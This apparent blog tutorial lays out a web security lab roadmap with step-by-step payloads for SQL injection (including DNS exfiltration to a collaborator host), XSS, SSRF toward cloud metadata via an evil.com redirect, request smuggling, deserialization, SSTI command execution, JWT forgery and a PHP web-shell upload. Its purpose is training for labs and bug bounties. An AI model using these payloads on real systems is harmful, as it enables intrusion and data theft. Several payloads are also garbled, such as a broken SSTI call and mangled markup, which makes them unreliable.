Master Web Security in 2026: The Ultimate Bug Bounty Lab Roadmap (GitHub Inside) + Video

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Introduction:

Web penetration testing demands more than random lab-solving—it requires a structured, vulnerability-driven approach to identify and exploit real-world flaws. The Web Security Academy’s 2026 lab roadmap provides a progressive path from Apprentice to Expert, covering everything from SQL injection and XSS to LLM attacks and API abuse. This article transforms that roadmap into actionable, step‑by‑step tutorials with verified commands for Linux, Windows, and security tools, ensuring you become job‑ready for professional bug bounty or pentesting roles.

Learning Objectives:

  • Master the full spectrum of web vulnerabilities including SSRF, request smuggling, deserialization, and race conditions.
  • Execute hands‑on exploitation techniques using Burp Suite, SQLMap, jwt_tool, and custom payloads.
  • Apply structured lab progression (Apprentice → Practitioner → Expert) to achieve real‑world web pentesting competence.

You Should Know:

  1. SQL Injection – From Basic to Blind & OOB (Out‑of‑Band)
    SQL injection remains the number one web risk. Start with in‑band errors, then move to blind boolean/time‑based, and finally OOB exfiltration using DNS or HTTP requests.

Step‑by‑step guide:

  1. Identify injection points – Use `’` or `”` to trigger errors. For login forms, try `admin’ –` or ' OR '1'='1.

2. Automate with SQLMap (Linux/Windows):

sqlmap -u "http://target.com/page?id=1" --batch --level 5 --risk 3
 Windows: same command in PowerShell or cmd

3. Manual blind time‑based payload (MySQL):

' AND IF(1=1, SLEEP(5), 0) -- -

4. OOB exfiltration using Burp Collaborator:

Inject a payload that performs a DNS lookup:

' UNION SELECT LOAD_FILE(CONCAT('\\',(SELECT database()),'.your-collaborator-url\a')) -- -

Monitor Collaborator for the leaked database name.

Pro tip: Use `sqlmap –os-shell` on vulnerable MSSQL/MySQL to get command execution.

2. XSS, CSP Bypass, and DOM‑based Attacks

Cross‑site scripting (reflected, stored, DOM) combined with Content Security Policy (CSP) bypasses can lead to session hijacking and data theft.

Step‑by‑step guide:

  1. Test for reflected XSS – Inject `` in URL parameters, search boxes, or referer headers.

2. CSP bypass using unsafe‑eval or CDN loopholes:

If `script-src` allows `https://cdn.example.com`, upload a JSONP endpoint:

<script src="https://cdn.example.com/api?callback=alert(1)"></script>

3. DOM XSS with `document.write` – Example vulnerable code:

var user = location.hash.substring(1);
document.write('Welcome ' + user);

Exploit: `http://target.com/`
4. Use XSS cheat sheet (PortSwigger) – Automate with `xsstrike` (Python tool):

pip install xsstrike
python xsstrike.py -u "http://target.com/search?q=test" --crawl
  1. SSRF (Server‑Side Request Forgery) – Filter Bypasses & Blind OOB
    SSRF lets attackers make requests from the internal server to localhost, cloud metadata, or internal services.

Step‑by‑step guide:

  1. Basic SSRF test: Change a URL parameter to `http://127.0.0.1:8080/admin` or `http://169.254.169.254/latest/meta-data/` (AWS).

2. Bypass filters using alternative representations:

  • Decimal IP: `http://2130706433/` = `127.0.0.1`
  • URL encode: `http://127.0.0.1%[email protected]`
    – Redirects: host a 302 redirect from `http://evil.com` to `http://169.254.169.254`

    3. Blind SSRF with OOB detection:

    Use Burp Collaborator in the URL field: `http://your-collaborator-id.burpcollaborator.net/ssrf` and check for DNS/HTTP interactions.

  1. Linux/Windows command to listen for callback (if you control a server):
    Linux
    nc -lvnp 4444
    Windows (PowerShell)
    Test-NetConnection -ComputerName your-server.com -Port 4444
    

4. Request Smuggling (CL.TE, TE.CL, HTTP/2)

Request smuggling desynchronises front‑end and back‑end servers, allowing request queue poisoning.

Step‑by‑step guide:

  1. Identify HTTP/1.1 chunked encoding support – Send a request with `Transfer-Encoding: chunked` and a malformed size.
  2. CL.TE attack (front‑end uses Content‑Length, back‑end uses TE):
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 30
    Transfer-Encoding: chunked</li>
    </ol>
    
    0
    
    GET /admin HTTP/1.1
    Host: target.com
    

    3. TE.CL attack:

    POST / HTTP/1.1
    Host: target.com
    Content-Length: 4
    Transfer-Encoding: chunked
    
    5c
    GET /admin HTTP/1.1
    Host: target.com
    0
    
    

    4. Use Burp Turbo Intruder for automation – Upload `smuggle.py` script:

    def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1)
    engine.queue(target.req, label='smuggle')
    

    5. HTTP/2 downgrade attacks – Use `h2c` smuggling with `:authority` header injection.

    1. Deserialization & SSTI → Remote Code Execution (RCE)
      Insecure deserialization (Java, PHP, Python) and Server‑Side Template Injection (SSTI) often lead to full system compromise.

    Step‑by‑step guide:

    1. Detect Java deserialization – Use `ysoserial` to generate payloads and `java -jar ysoserial.jar CommonsCollections5 ‘calc.exe’ > payload.ser`
      2. Send payload in cookie or POST data (Burp Repeater):

    Base64 encode: `cat payload.ser | base64 -w 0`

    1. For PHP deserialization – Exploit `__wakeup()` or `__destruct()` with gadget chains:
      class Vuln { public $cmd = "id"; }
      echo serialize(new Vuln);
      
    2. SSTI detection – Input `{{77}}` in Jinja2, `${77}` in Freemarker, or `@(77)` in SpringEL. If output is 49, template injection exists.

    5. RCE via SSTI (Python Flask + Jinja2):

    {{ config.from_popen('whoami', shell=True).read() }}
    

    Or use `__subclasses__()` to find `os.system`.

    6. JWT Attacks, GraphQL & API Bugs

    JWT misconfigurations (alg none, key injection, kid path traversal) and GraphQL introspection leaks are common in modern APIs.

    Step‑by‑step guide:

    1. JWT alg none attack – Modify the header: {"alg":"none","typ":"JWT"}. Remove signature. Use jwt_tool:
      python3 jwt_tool.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." -a none
      
    2. Key injection via JWKS – Host a malicious JWKS endpoint and set `jku` header to your URL.
    3. GraphQL introspection – Query `__schema` to dump all types. Use `graphqlmap` (Linux):
      git clone https://github.com/swisskyrepo/GraphQLmap
      python3 graphqlmap.py -u http://target.com/graphql --method POST
      
    4. Mass assignment / parameter pollution – In API requests, add unexpected fields like isAdmin: true. Use `ffuf` to fuzz parameters:
      ffuf -u "https://target.com/api/user" -X POST -d "username=test&[bash]=true" -w params.txt
      

    7. Race Conditions & File Upload Polyglots

    Race conditions (TOC/TOU) and malformed file uploads (polyglots, null bytes, .htaccess) bypass validation.

    Step‑by‑step guide:

    1. Race condition with Turbo Intruder – Send 50 concurrent requests to a password reset endpoint:
      def queueRequests(target, wordlists):
      engine = RequestEngine(target=target, concurrentConnections=50)
      for i in range(100):
      engine.queue(target.req, i)
      
    2. File upload – polyglot PNG + PHP – Create a valid PNG comment containing <?php system($_GET
      );?></code>: 
      [bash]
      echo -e "\x89PNG\r\n\x1a\n<?php system(\$_GET[bash]); ?>" > shell.php.png
      
    3. Bypass extension filters using race condition – Upload `shell.php` while simultaneously requesting `/uploads/shell.php` before validation deletes it.
    4. .htaccess override (Apache) – Upload a file containing:
      AddType application/x-httpd-php .jpg
      

    Then upload a `.jpg` with PHP code.

    What Undercode Say:

    • Structured lab progression defeats random stumbling – The Apprentice→Practitioner→Expert model mirrors real pentesting maturity.
    • Combining blind exploitation techniques (OOB, race conditions, smuggling) separates junior from senior testers – Every section above includes at least one advanced technique.
    • Automation + manual understanding wins – Tools like sqlmap, jwt_tool, and Turbo Intruder accelerate testing, but you must craft custom payloads to bypass modern WAFs.

    The GitHub repository (https://github.com/freypwn/WebSecurityAcademy) centralises PortSwigger’s free labs with scripts and write‑ups – fork it, tackle one vulnerability family per day, and after solving 80% of all labs, you’ll confidently pass enterprise web penetration tests.

    Prediction:

    By late 2026, AI‑augmented web attacks (LLM prompt injection, automated gadget chain discovery) will become mainstream, while defensive AI will attempt real‑time payload mutation detection. The labs covering LLM attacks and GraphQL abuse are only the beginning. Practitioners who master the roadmap above—especially deserialisation, SSTI, and HTTP/2 smuggling—will remain ahead of automated scanners. Expect bug bounty platforms to raise payouts for blind OOB and race condition findings, as these remain hardest to detect with traditional SAST/DAST tools. Start today, and you’ll be positioned as a top‑tier web security specialist when the next wave of API‑driven breaches hits.

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